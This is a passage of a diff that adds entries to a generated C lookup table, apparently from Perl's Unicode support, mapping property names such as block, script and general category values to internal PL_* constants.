+ { 1, 7136, 6041, 6, 12, PL_PLAYINGCARDS } /* block=playingcards */,
+ { 1, 7288, 7007, 7, 9, PL_ITAL } /* script=olditalic */,
+ { 12, 7810, 0, 6, 0, PL_GOTH } /* gothic */,
+ { 3, 3129, 7443, 17, 4, PL_GRAN } /* scriptextensions=gran */,
+ { 1, 8016, 36, 4, 1, PL_GCB__T } /* gcb=t */,
+ { 0, 1887, 3223, 5, 2, -PL_XPOSIXLOWER } /* lower=n */,
+ { 1, 8096, 994, 5, 3, PL_BASS } /* scx=bass */,
+ { 2, 7136, 3722, 6, 16, PL_HIGHPUSURROGATES } /* block=highpusurrogates */,
+ { 1, 6706, 8867, 10, 3, PL_IN__5_DOT_1 } /* presentin=v51 */,
+ { 2, 6221, 2467, 4, 9, PL_COUNTINGROD } /* incountingrod */,
+ { 0, 5232, 0, 13, 0, PL_AEGEANNUMBERS } /* aegeannumbers */,
+ { 1, 4314, 7930, 13, 4, PL_JG__YUDH } /* joininggroup=yudh */,
+ { 1, 8816, 8618, 3, 3, PL_NV__1_SLASH_5 } /* nv=1/5 */,
+ { 1, 2100, 1029, 3, 26, PL_OCR } /* isopticalcharacterrecognition */,
+ { 0, 2985, 7768, 18, 6, -PL_IDST } /* idstrinaryoperator=false */,
+ { 4, 1503, 2504, 3, 18, PL_ENCLOSEDALPHANUMSUP } /* inenclosedalphanumsup */,
+ { 1, 8096, 2636, 4, 4, PL_MONG } /* scx=mong */,
+ { 0, 7380, 1483, 4, 2, PL_CCC__DB } /* ccc=db */,
+ { 0, 6890, 7991, 4, 5, PL_INBUHID } /* blk=buhid */,
+ { 2, 1746, 24, 21, 1, PL_GCB__L } /* graphemeclusterbreak=l */,
+ { 1, 8284, 0, 4, 0, PL_DSRT } /* dsrt */,
+ { 1, 7288, 5121, 7, 14, PL_SC__PHLP } /* script=psalterpahlavi */,
+ { 3, 8780, 0, 3, 0, PL_CWT } /* cwt */,
+ { 0, 184, 5323, 2, 13, PL_ME } /* isenclosingmark */,
+ { 1, 1746, 1133, 21, 7, PL_GCB__PP } /* graphemeclusterbreak=prepend */,
+ { 4, 6890, 4883, 4, 14, PL_LATINEXTE } /* blk=latinextendede */,
+ { 0, 1929, 0, 9, 0, PL_XPOSIXUPPER } /* uppercase */,
+ { 1, 1876, 7768, 21, 6, -PL_CWL } /* changeswhenlowercased=false */,
+ { 2, 5544, 7732, 13, 2, PL_NV__50 } /* numericvalue=50 */,
+ { 0, 3610, 0, 16, 0, PL_BOPOMOFOEXT } /* bopomofoextended */,
+ { 5, 6706, 7720, 10, 1, PL_IN__4 } /* presentin=4 */,
+ { 3, 3129, 7104, 17, 8, PL_ARMN } /* scriptextensions=armenian */,
+ { 0, 8332, 7599, 4, 5, PL_SHAW } /* inshavian */,
+ { 0, 7459, 8452, 3, 4, PL_SC__ORYA } /* sc=orya */,
+ { 1, 1746, 70, 21, 2, PL_GCB__PP } /* graphemeclusterbreak=pp */,
+ { 1, 7450, 0, 7, 0, PL_HANO } /* hanunoo */,
+ { 0, 5375, 6208, 12, 11, PL_JT__C } /* joiningtype=joincausing */,
+ { 3, 21, 6926, 2, 9, PL_INKHUDAWADI } /* inkhudawadi */,
+ { 3, 2750, 3223, 4, 3, -PL_TERM } /* term=no */,
+ { 5, 974, 7727, 24, 2, PL_CCC__32 } /* canonicalcombiningclass=32 */,
+ { 3, 8816, 8144, 3, 4, PL_NV__1_SLASH_20 } /* nv=1/20 */,
+ { 1, 6210, 7388, 3, 6, PL_CJKEXTA } /* incjkexta */,
+ { 0, 568, 0, 2, 0, PL_NB } /* nb */,
+ { 1, 2229, 1392, 16, 9, PL_CS } /* generalcategory=surrogate */,
+ { 0, 7408, 0, 7, 0, PL_CJKEXTD } /* cjkextd */,
+ { 1, 6890, 947, 4, 17, PL_ANCIENTGREEKMUSIC } /* blk=ancientgreekmusic */,
+ { 0, 1402, 2349, 24, 20, PL_INPC__TOPANDBOTTOMANDRIGHT } /* indicpositionalcategory=topandbottomandright */,
+ { 0, 1746, 4047, 21, 2, PL_LB__H2 } /* graphemeclusterbreak=lv */,
+ { 0, 8894, 0, 3, 1, PL_VO__U } /* vo=u */,
+ { 0, 4554, 1929, 14, 5, PL_SB__UP } /* sentencebreak=upper */,
+ { 1, 184, 6626, 2, 4, PL_KHAR } /* iskhar */,
+ { 2, 8344, 36, 3, 1, PL_JT__T } /* jt=t */,
+ { 1, 8096, 8192, 4, 4, PL_ADLM } /* scx=adlm */,
+ { 0, 6713, 8879, 3, 3, PL_IN__6_DOT_2 } /* in=v62 */,
+ { 0, 8352, 0, 4, 0, PL_KHMR } /* khmr */,
+ { 1, 3129, 2107, 17, 7, PL_SINH } /* scriptextensions=sinhala */,
+ { 1, 4402, 8401, 3, 3, PL_INMIAO } /* inmiao */,
+ { 1, 1690, 0, 2, 0, PL_CN } /* cn */,
+ { 1, 3129, 2269, 17, 20, PL_PHLI } /* scriptextensions=inscriptionalpahlavi */,
+ { 0, 3129, 7660, 17, 7, PL_TIRH } /* scriptextensions=tirhuta */,
+ { 3, 3129, 8604, 17, 4, PL_ZYYY } /* scriptextensions=zyyy */,
+ { 0, 2229, 8937, 16, 2, PL_ZL } /* generalcategory=zl */,
+ { 1, 2985, 7768, 4, 2, -PL_IDST } /* idst=f */,
+ { 2, 184, 5427, 2, 9, PL_MLYM } /* ismalayalam */,
+ { 1, 8376, 8921, 3, 2, PL_LB__BK } /* lb=bk */,
+ { 0, 6263, 6845, 10, 9, PL_LB__AI } /* linebreak=ambiguous */,
+ { 2, 3129, 7320, 17, 8, PL_TFNG } /* scriptextensions=tifinagh */,
+ { 0, 7136, 113, 6, 35, PL_DIACRITICALSFORSYMBOLS } /* block=combiningdiacriticalmarksforsymbols */,
+ { 1, 864, 0, 28, 0, PL_SUPPUAB } /* supplementaryprivateuseareab */,
+ { 0, 5957, 0, 4, 0, PL_MEND } /* mend */,
+ { 2, 7894, 0, 6, 0, PL_PATSYN } /* patsyn */,
+ { 1, 3129, 494, 17, 3, PL_HAN } /* scriptextensions=han */,
+ { 3, 1963, 7768, 7, 2, -PL_RADICAL } /* radical=f */,
+ { 0, 6890, 7876, 4, 6, PL_INLYCIAN } /* blk=lycian */,
+ { 0, 8572, 6971, 3, 6, PL_WB__MN } /* wb=midnum */,
+ { 0, 974, 1108, 24, 3, PL_CCC__214 } /* canonicalcombiningclass=ata */,
+ { 2, 7459, 2044, 3, 11, PL_MTEI } /* sc=meeteimayek */,
+ { 3, 7288, 2598, 7, 4, PL_MERO } /* script=mero */,
+ { 1, 184, 7534, 2, 7, PL_NB } /* isnoblock */,
+ { 0, 6890, 4659, 4, 14, PL_ANCIENTSYMBOLS } /* blk=ancientsymbols */,
+ { 0, 1887, 0, 9, 0, PL_XPOSIXLOWER } /* lowercase */,
+ { 4, 4554, 496, 14, 7, PL_LB__NU } /* sentencebreak=numeric */,
+ { 1, 122, 7997, 9, 2, PL_DIA } /* diacritic=y */,
+ { 3, 6890, 808, 4, 18, PL_PHONETICEXT } /* blk=phoneticextensions */,
+ { 1, 3850, 0, 16, 0, PL_MISCMATHSYMBOLSA } /* miscmathsymbolsa */,
+ { 2, 184, 8384, 2, 4, PL_LINB } /* islinb */,
+ { 0, 892, 3223, 17, 3, -PL_VS } /* variationselector=no */,
+ { 0, 5134, 6, 3, 1, PL_PD } /* ispd */,
+ { 1, 974, 2777, 24, 5, PL_CCC__A } /* canonicalcombiningclass=above */,
+ { 1, 8011, 1452, 3, 2, PL_PS } /* gc=ps */,
+ { 0, 21, 4841, 2, 14, PL_LATINEXTB } /* inlatinextendedb */,
+ { 2, 3237, 0, 17, 0, PL_ALCHEMICAL } /* alchemicalsymbols */,
+ { 0, 5544, 7732, 13, 6, PL_NV__500000 } /* numericvalue=500000 */,
+ { 4, 2229, 2088, 16, 2, PL_PD } /* generalcategory=pd */,
+ { 0, 4479, 7373, 5, 3, PL_NFCQC__M } /* nfkcqc=m */,
+ { 2, 7136, 959, 6, 5, PL_MUSIC } /* block=music */,
+ { 1, 7136, 3543, 6, 17, PL_SMALLFORMS } /* block=smallformvariants */,
+ { 2, 2985, 0, 4, 0, PL_IDST } /* idst */,
+ { 1, 6881, 0, 9, 0, PL_BHKS } /* bhaiksuki */,
+ { 0, 217, 6484, 6, 6, PL__PERL_IDCONT } /* _perl_idcont */,
+ { 4, 58, 0, 4, 0, PL_IDEO } /* ideo */,
+ { 2, 8340, 3492, 3, 17, PL_JG__MANICHAEANTHAMEDH } /* jg=manichaeanthamedh */,
+ { 7, 8340, 7930, 3, 4, PL_JG__YUDH } /* jg=yudh */,
+ { 7, 8376, 6816, 3, 10, PL_LB__WJ } /* lb=wordjoiner */,
+ { 0, 3129, 4509, 17, 15, PL_SARB } /* scriptextensions=oldsoutharabian */,
+ { 1, 8376, 5753, 3, 4, PL_LB__GL } /* lb=glue */,
+ { 1, 184, 4827, 2, 14, PL_KANGXI } /* iskangxiradicals */,
+ { 1, 1929, 3223, 9, 2, -PL_XPOSIXUPPER } /* uppercase=n */,
+ { 1, 1746, 5762, 21, 3, PL_LB__ZWJ } /* graphemeclusterbreak=zwj */,
+ { 0, 7136, 4883, 6, 14, PL_LATINEXTE } /* block=latinextendede */,
+ { 0, 1963, 3581, 7, 2, PL_RADICAL } /* radical=t */,
+ { 1, 5645, 4149, 10, 15, PL_BC__CS } /* bidiclass=commonseparator */,
+ { 1, 2236, 7, 10, 1, PL_L_AMP_ } /* category=lc */,
+ { 0, 3129, 8364, 17, 4, PL_LANA } /* scriptextensions=lana */,
+ { 0, 6890, 1691, 9, 11, PL_INDICNUMBERFORMS } /* blk=indicnumberforms */,
+ { 2, 6647, 534, 4, 2, PL_CANS } /* iscans */,
+ { 2, 8011, 8941, 3, 2, PL_ZS } /* gc=zs */,
+ { 0, 6263, 6576, 10, 10, PL_LB__BA } /* linebreak=breakafter */,
+ { 0, 4314, 3475, 13, 17, PL_JG__MANICHAEANHUNDRED } /* joininggroup=manichaeanhundred */,
+ { 2, 8096, 8400, 4, 4, PL_MIAO } /* scx=miao */,
+ { 0, 5134, 809, 3, 17, PL_PHONETICEXT } /* isphoneticextensions */,
+ { 6, 8076, 7997, 5, 2, PL_PATWS } /* patws=y */,
+ { 9, 8096, 954, 4, 5, PL_GREK } /* scx=greek */,
+ { 0, 184, 1111, 2, 4, PL_KANA } /* iskana */,
+ { 2, 6263, 5762, 10, 2, PL_LB__ZW } /* linebreak=zw */,
+ { 0, 7136, 2967, 6, 18, PL_GEORGIANSUP } /* block=georgiansupplement */,
+ { 0, 7136, 4644, 6, 15, PL_INZANABAZARSQUARE } /* block=zanabazarsquare */,
+ { 5, 6263, 25, 10, 2, PL_LB__SY } /* linebreak=sy */,
+ { 1, 7136, 7272, 6, 8, PL_INMAHAJANI } /* block=mahajani */,
+ { 3, 6890, 42, 4, 36, PL_CJKCOMPATIDEOGRAPHSSUP } /* blk=cjkcompatibilityideographssupplement */,
+ { 1, 7136, 2249, 6, 20, PL_GLAGOLITICSUP } /* block=glagoliticsupplement */,
+ { 3, 3516, 7768, 10, 6, -PL_XPOSIXSPACE } /* whitespace=false */,
+ { 0, 3521, 7951, 5, 5, PL_XPOSIXSPACE } /* space=true */,
+ { 1, 5310, 0, 13, 0, PL_XPOSIXDIGIT } /* decimalnumber */,
+ { 17, 184, 699, 2, 6, PL_N } /* isnumber */,
+ { 0, 7366, 0, 7, 0, PL_BENG } /* bengali */,
+ { 0, 5544, 8615, 13, 3, PL_NV__1_SLASH_3 } /* numericvalue=1/3 */,
+ { 1, 8011, 47, 4, 1, PL_SM } /* gc=sm */,
+ { 0, 3129, 8444, 17, 4, PL_OLCK } /* scriptextensions=olck */,
+ { 0, 6210, 3340, 3, 16, PL_CYRILLICEXTB } /* incyrillicextendedb */,
+ { 3, 7288, 7506, 7, 7, PL_SC__LINA } /* script=lineara */,
+ { 1, 8096, 7312, 4, 8, PL_TAGB } /* scx=tagbanwa */,
+ { 0, 7288, 7019, 7, 4, PL_SC__PERM } /* script=perm */,
+ { 1, 5544, 7944, 13, 2, PL_NV__12 } /* numericvalue=12 */,
+ { 1, 4284, 7667, 14, 7, PL_HST__NA } /* hangulsyllabletype=na */,
+ { 4, 1929, 3223, 5, 3, -PL_XPOSIXUPPER } /* upper=no */,
+ { 1, 6109, 1, 10, 1, PL_CN } /* category=cn */,
+ { 1, 7380, 8171, 7, 2, PL_CCC__23 } /* ccc=ccc23 */,
+ { 1, 7288, 7272, 7, 8, PL_SC__MAHJ } /* script=mahajani */,
+ { 1, 8006, 3223, 5, 3, -PL_CWKCF } /* cwkcf=no */,
+ { 3, 7136, 8061, 6, 5, PL_INOGHAM } /* block=ogham */,
+ { 7, 7443, 0, 7, 0, PL_GRAN } /* grantha */,
+ { 3, 6890, 7232, 4, 8, PL_JAMOEXTA } /* blk=jamoexta */,
+ { 0, 8096, 8396, 4, 4, PL_MERC } /* scx=merc */,
+ { 0, 8288, 8834, 3, 3, PL_DT__SQR } /* dt=sqr */,
+ { 1, 8340, 6580, 3, 3, PL_JG__KAF } /* jg=kaf */,
+ { 0, 4239, 0, 4, 0, PL_DASH } /* dash */,
+ { 1, 6263, 4561, 10, 2, PL_LB__EB } /* linebreak=eb */,
+ { 2, 7136, 1797, 6, 4, PL_INMODI } /* block=modi */,
+ { 2, 7689, 5246, 3, 12, PL_POSIXXDIGIT } /* isasciihexdigit */,
+ { 1, 6890, 7632, 4, 7, PL_INTAGALOG } /* blk=tagalog */,
+ { 1, 8340, 5163, 3, 14, PL_JG__HAMZAONHEHGOAL } /* jg=tehmarbutagoal */,
+ { 0, 2985, 3581, 4, 2, PL_IDST } /* idst=t */,
+ { 4, 6890, 2805, 4, 18, PL_HALFMARKS } /* blk=combininghalfmarks */,
+ { 3, 6890, 3594, 4, 9, PL_ARABICSUP } /* blk=arabicsup */,
+ { 0, 1897, 3223, 21, 3, -PL_CWT } /* changeswhentitlecased=no */,
+ { 3, 6210, 5694, 3, 11, PL_CYRILLICEXTB } /* incyrillicextb */,
+ { 0, 7459, 7632, 3, 7, PL_SC__TGLG } /* sc=tagalog */,
+ { 0, 4542, 8112, 3, 4, PL_TAKR } /* istakri */,
+ { 1, 5134, 1134, 3, 25, PL_PCM } /* isprependedconcatenationmark */,
+ { 7, 4314, 4344, 13, 15, PL_JG__MANICHAEANALEPH } /* joininggroup=manichaeanaleph */,
+ { 0, 7136, 3882, 6, 7, PL_INMYANMAR } /* block=myanmar */,
+ { 0, 184, 1768, 2, 22, PL_MISCTECHNICAL } /* ismiscellaneoustechnical */,
+ { 6, 7478, 7612, 3, 6, PL_SOYO } /* issoyombo */,
+ { 1, 8786, 1093, 3, 9, PL_EA__F } /* ea=fullwidth */,
+ { 0, 3114, 1, 3, 33, PL_UCAS } /* inunifiedcanadianaboriginalsyllabics */,
+ { 0, 21, 8432, 2, 3, PL_INNKO } /* innko */,
+ { 17, 3129, 8106, 17, 5, PL_TALE } /* scriptextensions=taile */,
+ { 0, 184, 1887, 2, 5, PL_XPOSIXLOWER } /* islower */,
+ { 5, 7136, 1028, 6, 27, PL_OCR } /* block=opticalcharacterrecognition */,
+ { 2, 8572, 0, 4, 1, PL_WB__NU } /* wb=nu */,
+ { 3, 5250, 7997, 8, 4, PL_XPOSIXXDIGIT } /* hexdigit=yes */,
+ { 0, 1834, 7997, 21, 2, PL_CWCF } /* changeswhencasefolded=y */,
+ { 2, 6713, 7720, 3, 1, PL_IN__4 } /* in=4 */,
+ { 1, 8448, 0, 4, 0, PL_ORKH } /* orkh */,
+ { 2, 5544, 7732, 13, 4, PL_NV__5000 } /* numericvalue=5000 */,
+ { 0, 184, 7429, 2, 7, PL_DSRT } /* isdeseret */,
+ { 0, 6890, 7007, 4, 9, PL_INOLDITALIC } /* blk=olditalic */,
+ { 2, 1417, 6362, 9, 11, PL_SO } /* category=othersymbol */,
+ { 0, 6890, 6, 5, 2, PL_INIDC } /* blk=idc */,
+ { 1, 6890, 183, 4, 34, PL_MISCPICTOGRAPHS } /* blk=miscellaneoussymbolsandpictographs */,
+ { 1, 184, 1107, 2, 26, PL_KATAKANAEXT } /* iskatakanaphoneticextensions */,
+ { 1, 184, 8396, 2, 4, PL_MERC } /* ismerc */,
+ { 0, 4554, 723, 15, 4, PL_SB__CL } /* sentencebreak=close */,
+ { 2, 117, 416, 3, 31, PL_INIDC } /* inideographicdescriptioncharacters */,
+ { 8, 5134, 8461, 3, 3, PL_PHLP } /* isphlp */,
+ { 0, 4554, 8101, 14, 5, PL_SB__ST } /* sentencebreak=sterm */,
+ { 0, 8096, 8320, 4, 4, PL_HLUW } /* scx=hluw */,
+ { 6, 7288, 8368, 7, 4, PL_LAO } /* script=laoo */,
+ { 1, 974, 8171, 24, 2, PL_CCC__23 } /* canonicalcombiningclass=23 */,
+ { 1, 4449, 7373, 4, 3, PL_NFCQC__M } /* nfcqc=m */,
+ { 0, 6890, 6863, 4, 9, PL_ARABICPFA } /* blk=arabicpfa */,
+ { 5, 7288, 7604, 7, 7, PL_SIDD } /* script=siddham */,
+ { 1, 6890, 7621, 4, 3, PL_PUA } /* blk=pua */,
+ { 1, 6706, 8768, 10, 3, PL_IN__9 } /* presentin=9.0 */,
+ { 0, 6647, 2, 5, 1, PL_CARI } /* iscari */,
+ { 4, 2859, 3003, 18, 7, PL_DT__INIT } /* decompositiontype=initial */,
+ { 3, 8816, 5219, 3, 13, PL_NV__1000000000000 } /* nv=1000000000000 */,
+ { 2, 8288, 5488, 3, 4, PL_DT__NONE } /* dt=none */,
+ { 0, 974, 7702, 27, 2, PL_CCC__20 } /* canonicalcombiningclass=ccc20 */,
+ { 0, 7906, 5066, 5, 2, PL_SC__KHOJ } /* sc=khoj */,
+ { 0, 2229, 5079, 16, 14, PL_MN } /* generalcategory=nonspacingmark */,
+ { 2, 6554, 1498, 3, 13, PL_BYZANTINEMUSIC } /* inbyzantinemusic */,
+ { 0, 1497, 0, 14, 0, PL_BYZANTINEMUSIC } /* byzantinemusic */,
+ { 5, 8096, 7660, 4, 4, PL_TIRH } /* scx=tirh */,
+ { 4, 184, 8608, 2, 4, PL_ZZZZ } /* iszzzz */,
+ { 0, 3129, 7555, 17, 7, PL_OLCK } /* scriptextensions=olchiki */,
+ { 3, 8096, 8061, 4, 5, PL_OGAM } /* scx=ogham */,
+ { 1, 7459, 7120, 3, 4, PL_BALI } /* sc=bali */,
+ { 4, 8508, 8369, 4, 3, PL_LAO } /* sc=laoo */,
+ { 1, 7288, 7569, 7, 4, PL_OSMA } /* script=osma */,
+ { 2, 8086, 3223, 5, 3, -PL_QMARK } /* qmark=no */,
+ { 1, 7478, 1451, 3, 23, PL_SUPSYMBOLSANDPICTOGRAPHS } /* issupsymbolsandpictographs */,
+ { 0, 76, 7946, 2, 5, PL_NV__NAN } /* nt=none */,
+ { 0, 7459, 4104, 3, 4, PL_BAMU } /* sc=bamu */,
+ { 0, 8011, 8263, 3, 2, PL_MC } /* gc=mc */,
+ { 1, 8016, 8789, 4, 3, PL_WB__EBG } /* gcb=ebg */,
+ { 0, 8026, 5094, 3, 13, PL_PHONETICEXTSUP } /* inphoneticextsup */,
+ { 1, 7459, 7912, 3, 6, PL_SC__TELU } /* sc=telugu */,
+ { 3, 7459, 3458, 3, 10, PL_SC__MANI } /* sc=manichaean */,
+ { 1, 6890, 2249, 4, 13, PL_GLAGOLITICSUP } /* blk=glagoliticsup */,
+ { 3, 4284, 5177, 14, 14, PL_GCB__V } /* hangulsyllabletype=voweljamo */,
+ { 3, 7272, 0, 8, 0, PL_MAHJ } /* mahajani */,
+ { 2, 8240, 3408, 4, 16, PL_BC__ES } /* bc=europeanseparator */,
+ { 6, 7227, 5253, 5, 5, PL_POSIXDIGIT } /* posixdigit */,
+ { 2, 6263, 1204, 10, 2, PL_LB__PO } /* linebreak=po */,
+ { 11, 7478, 2732, 3, 18, PL_SUPARROWSC } /* issupplementalarrowsc */,
+ { 0, 112, 0, 2, 0, PL_SC } /* sc */,
+ { 2, 7288, 7611, 7, 4, PL_SOYO } /* script=soyo */,
+ { 0, 7224, 7986, 8, 5, PL_XPOSIXBLANK } /* isxposixblank */,
+ { 1, 2731, 0, 19, 0, PL_SUPARROWSC } /* supplementalarrowsc */,
+ { 0, 6613, 3723, 3, 15, PL_HIGHPUSURROGATES } /* ishighpusurrogates */,
+ { 4, 8777, 7997, 3, 2, PL_CWL } /* cwl=y */,
+ { 0, 8288, 45, 3, 6, PL_DT__COM } /* dt=compat */,
+ { 0, 34, 7768, 3, 2, -PL_EXT } /* ext=f */,
+ { 0, 3373, 8576, 15, 4, PL_EA__W } /* eastasianwidth=wide */,
+ { 3, 7288, 8472, 7, 4, PL_PRTI } /* script=prti */,
+ { 5, 6890, 3994, 4, 16, PL_SYRIACSUP } /* blk=syriacsupplement */,
+ { 0, 21, 6626, 2, 10, PL_INKHAROSHTHI } /* inkharoshthi */,
+ { 0, 6713, 8660, 3, 3, PL_IN__2_DOT_1 } /* in=2.1 */,
+ { 0, 6890, 2128, 4, 6, PL_YIJING } /* blk=yijing */,
+ { 1, 8798, 7997, 3, 2, PL_LOE } /* loe=y */,
+ { 0, 6484, 7951, 10, 5, PL_IDC } /* idcontinue=true */,
+ { 2, 3129, 8432, 17, 4, PL_NKO } /* scriptextensions=nkoo */,
+ { 0, 2859, 8292, 18, 4, PL_DT__FONT } /* decompositiontype=font */,
+ { 0, 8026, 6450, 5, 11, PL_INPC__TOPANDRIGHT } /* inpc=topandright */,
+ { 0, 7380, 8740, 4, 2, PL_CCC__25 } /* ccc=25 */,
+ { 1, 8240, 806, 3, 2, PL_BC__WS } /* bc=ws */,
+ { 0, 6890, 8056, 4, 5, PL_INNUSHU } /* blk=nushu */,
+ { 1, 6890, 1658, 4, 19, PL_CJKCOMPATIDEOGRAPHS } /* blk=cjkcompatideographs */,
+ { 0, 184, 2531, 2, 4, PL_MULT } /* ismult */,
+ { 0, 8096, 8368, 4, 3, PL_LAO } /* scx=lao */,
+ { 3, 8204, 7997, 4, 4, PL_POSIXXDIGIT } /* ahex=yes */,
+ { 2, 1426, 1330, 22, 24, PL_INSC__CONSONANTSUCCEEDINGREPHA } /* indicsyllabiccategory=consonantsucceedingrepha */,
+ { 0, 221, 0, 2, 0, PL_L_AMP_ } /* l_ */,
+ { 0, 7288, 3674, 7, 7, PL_SC__CPRT } /* script=cypriot */,
+ { 0, 7840, 25, 3, 1, PL_VS } /* isvs */,
+ { 0, 184, 74, 2, 2, PL_ME } /* isme */,
+ { 1, 1417, 3854, 9, 10, PL_SM } /* category=mathsymbol */,
+ { 7, 5544, 8140, 13, 4, PL_NV__1_SLASH_10 } /* numericvalue=1/10 */,
+ { 0, 8011, 133, 3, 4, PL_M } /* gc=mark */,
+ { 0, 2134, 7997, 3, 2, PL_XPOSIXXDIGIT } /* hex=y */,
+ { 0, 7459, 7043, 3, 4, PL_PAUC } /* sc=pauc */,
+ { 16, 8816, 7710, 3, 3, PL_NV__600 } /* nv=600 */,
+ { 5, 949, 7768, 2, 6, -PL_CI } /* ci=false */,
+ { 1, 7288, 8071, 7, 5, PL_OSGE } /* script=osage */,
+ { 3, 8096, 8432, 4, 4, PL_NKO } /* scx=nkoo */,
+ { 1, 113, 0, 25, 0, PL_DIACRITICALS } /* combiningdiacriticalmarks */,
+ { 1, 184, 8296, 2, 4, PL_GONM } /* isgonm */,
+ { 1, 7288, 7590, 7, 7, PL_SC__SHRD } /* script=sharada */,
+ { 0, 2236, 0, 10, 0, PL_L } /* category=l */,
+ { 2, 6890, 3560, 4, 17, PL_SUTTONSIGNWRITING } /* blk=suttonsignwriting */,
+ { 1, 5245, 3223, 13, 3, -PL_POSIXXDIGIT } /* asciihexdigit=no */,
+ { 8, 5645, 2086, 10, 21, PL_BC__PDI } /* bidiclass=popdirectionalisolate */,
+ { 3, 4542, 8549, 3, 3, PL_TFNG } /* istfng */,
+ { 4, 6263, 184, 10, 2, PL_LB__IS } /* linebreak=is */,
+ { 1, 1929, 3223, 5, 2, -PL_XPOSIXUPPER } /* upper=n */,
+ { 1, 7136, 6029, 6, 8, PL_PHAISTOS } /* block=phaistos */,
+ { 2, 3526, 3223, 17, 2, -PL_RI } /* regionalindicator=n */,
+ { 1, 1417, 1886, 9, 2, PL_NL } /* category=nl */,
+ { 3, 8096, 1680, 4, 6, PL_ZYYY } /* scx=common */,
+ { 4, 21, 7534, 2, 7, PL_NB } /* innoblock */,
+ { 11, 6890, 7583, 4, 7, PL_INPHAGSPA } /* blk=phagspa */,
+ { 5, 7288, 7336, 7, 8, PL_UGAR } /* script=ugaritic */,
+ { 1, 184, 8480, 2, 4, PL_QAAI } /* isqaai */,
+ { 0, 184, 3675, 3, 6, PL_CPRT } /* iscypriot */,
+ { 0, 5544, 8180, 13, 3, PL_NV__3_SLASH_8 } /* numericvalue=3/8 */,
+ { 0, 7136, 3898, 6, 16, PL_MYANMAREXTB } /* block=myanmarextendedb */,
+ { 11, 132, 0, 2, 0, PL_LM } /* lm */,
+ { 3, 1448, 2676, 4, 7, PL_INSUNDANESE } /* insundanese */,
+ { 0, 1028, 0, 27, 0, PL_OCR } /* opticalcharacterrecognition */,
+ { 1, 5765, 7768, 12, 2, -PL_GRBASE } /* graphemebase=f */,
+ { 2, 1107, 0, 26, 0, PL_KATAKANAEXT } /* katakanaphoneticextensions */,
+ { 3, 96, 0, 5, 0, PL_XPOSIXALPHA } /* alpha */,
+ { 2, 6890, 183, 4, 20, PL_MISCSYMBOLS } /* blk=miscellaneoussymbols */,
+ { 2, 5645, 4121, 12, 13, PL_BC__BN } /* bidiclass=boundaryneutral */,
+ { 5, 8096, 8216, 4, 4, PL_ARMI } /* scx=armi */,
+ { 0, 974, 8645, 24, 3, PL_CCC__129 } /* canonicalcombiningclass=129 */,
+ { 0, 4923, 5947, 4, 10, PL_MATHALPHANUM } /* inmathalphanum */,
+ { 4, 974, 8687, 24, 3, PL_CCC__R } /* canonicalcombiningclass=226 */,
+ { 0, 7136, 5414, 6, 13, PL_LOWSURROGATES } /* block=lowsurrogates */,
+ { 1, 6472, 7352, 10, 7, PL_WB__LE } /* wordbreak=aletter */,
+ { 5, 7828, 7997, 6, 4, PL_HYPHEN } /* hyphen=yes */,
+ { 0, 3129, 6881, 17, 9, PL_BHKS } /* scriptextensions=bhaiksuki */,
+ { 0, 1702, 0, 12, 0, PL_DIACRITICALS } /* diacriticals */,
+ { 0, 7288, 8420, 7, 4, PL_NARB } /* script=narb */,
+ { 0, 8340, 6494, 3, 11, PL_JG__YEHWITHTAIL } /* jg=yehwithtail */,
+ { 0, 184, 5801, 2, 5, PL_KHMR } /* iskhmer */,
+ { 0, 1450, 0, 24, 0, PL_SUPSYMBOLSANDPICTOGRAPHS } /* supsymbolsandpictographs */,
+ { 0, 295, 0, 2, 0, PL_SM } /* sm */,
+ { 5, 7478, 218, 7, 4, PL_XPOSIXSPACE } /* isspaceperl */,
+ { 1, 4554, 33, 14, 2, PL_SB__SE } /* sentencebreak=se */,
+ { 0, 21, 3770, 2, 16, PL_LINEARBSYLLABARY } /* inlinearbsyllabary */,
+ { 5, 8476, 0, 4, 0, PL_COPT } /* qaac */,
+ { 1, 4314, 7961, 13, 5, PL_JG__ALAPH } /* joininggroup=alaph */,
+ { 1, 8786, 8576, 3, 4, PL_EA__W } /* ea=wide */,
+ { 1, 6210, 43, 3, 2, PL_CJK } /* incjk */,
+ { 0, 8822, 0, 3, 0, PL_PCM } /* pcm */,
+ { 1, 7478, 6787, 3, 9, PL_SUPARROWSC } /* issuparrowsc */,
+ { 1, 5645, 25, 10, 1, PL_BC__S } /* bidiclass=s */,
+ { 3, 2229, 6340, 16, 11, PL_LO } /* generalcategory=otherletter */,
+ { 1, 7288, 2636, 7, 9, PL_SC__MONG } /* script=mongolian */,
+ { 1, 7459, 8268, 3, 4, PL_SC__CPRT } /* sc=cprt */,
+ { 9, 974, 7708, 24, 3, PL_CCC__216 } /* canonicalcombiningclass=216 */,
+ { 0, 8340, 3834, 3, 16, PL_JG__MANICHAEANTWENTY } /* jg=manichaeantwenty */,
+ { 3, 6647, 12, 5, 3, PL_CARI } /* iscarian */,
+ { 0, 8376, 5762, 3, 3, PL_LB__ZWJ } /* lb=zwj */,
+ { 2, 6890, 1028, 4, 27, PL_OCR } /* blk=opticalcharacterrecognition */,
+ { 2, 6890, 1566, 4, 6, PL_INHANGUL } /* blk=hangul */,
+ { 0, 8011, 3003, 3, 18, PL_PI } /* gc=initialpunctuation */,
+ { 2, 184, 2636, 2, 12, PL_MONGOLIANSUP } /* ismongoliansup */,
+ { 1, 8196, 8747, 4, 3, PL_AGE__6 } /* age=6.0 */,
+ { 0, 8196, 8846, 4, 3, PL_AGE__2_DOT_1 } /* age=v21 */,
+ { 0, 7459, 8400, 3, 4, PL_MIAO } /* sc=miao */,
+ { 1, 4209, 0, 15, 0, PL_CONTROLPICTURES } /* controlpictures */,
+ { 0, 8444, 0, 4, 0, PL_OLCK } /* olck */,
+ { 0, 8026, 809, 3, 10, PL_PHONETICEXT } /* inphoneticext */,
+ { 1, 6890, 1797, 4, 15, PL_MODIFIERLETTERS } /* blk=modifierletters */,
+ { 0, 1503, 721, 3, 20, PL_ENCLOSEDALPHANUM } /* inenclosedalphanumerics */,
+ { 4, 7224, 8001, 8, 5, PL_XPOSIXCNTRL } /* isxposixcntrl */,
+ { 1, 7459, 3610, 3, 4, PL_SC__BOPO } /* sc=bopo */,
+ { 2, 6890, 7272, 4, 8, PL_INMAHAJANI } /* blk=mahajani */,
+ { 9, 892, 0, 18, 0, PL_INVS } /* variationselectors */,
+ { 1, 6616, 7997, 10, 2, PL_DEP } /* deprecated=y */,
